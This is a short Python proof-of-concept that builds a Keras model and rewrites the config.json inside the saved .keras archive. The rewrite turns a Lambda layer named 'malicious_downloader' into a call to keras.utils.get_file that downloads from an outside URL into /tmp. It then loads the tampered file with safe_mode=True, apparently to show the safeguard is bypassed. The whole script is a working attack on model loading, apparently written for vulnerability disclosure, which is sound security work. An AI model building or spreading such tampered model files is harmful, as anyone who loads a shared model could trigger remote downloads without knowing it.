# Step 1: Create a simple base model
model = keras.Sequential([
    keras.layers.Input(shape=(1,)),
    keras.layers.Lambda(lambda x: x, name='placeholder_lambda'),  # Placeholder
    keras.layers.Dense(1, activation='sigmoid')
])

model.compile(optimizer='adam', loss='mse')

# Step 2: Save the legitimate model
model.save('model.keras')

# Step 3: Read the original config to preserve layer structure
with zipfile.ZipFile('model.keras', 'r') as zf:
    original_config = json.loads(zf.read('config.json').decode())

# Step 4: Inject our custom Lambda layer config
for layer in original_config['config']['layers']:
    if layer['class_name'] == 'Lambda' and layer['config']['name'] == 'placeholder_lambda':
        # Replace with malicious config
        layer['config'] = {
            'name': 'malicious_downloader',
            'trainable': False,
            'function': {
                'module': 'keras.utils',
                'class_name': 'get_file',
                'config':  None,
                'registered_name': None
            },
            'arguments': {
                'origin': 'https://httpbin.org/json',
                'cache_dir': '/tmp',
                'force_download': True
            }
        }
        
        break


# Step 5: Replace config.json in the .keras file
with zipfile.ZipFile('model.keras', 'r') as zf_read:
    with zipfile.ZipFile('model_malicious.keras', 'w') as zf_write:
        # Copy all files except config.json
        for item in zf_read.infolist():
            if item.filename != 'config.json':
                data = zf_read.read(item.filename)
                zf_write.writestr(item, data)
            else:
                # Write modified config.json
                zf_write.writestr('config.json', json.dumps(original_config, indent=2))

# Step 6: Load the malicious model
m = keras.models.load_model('model_malicious.keras', safe_mode=True)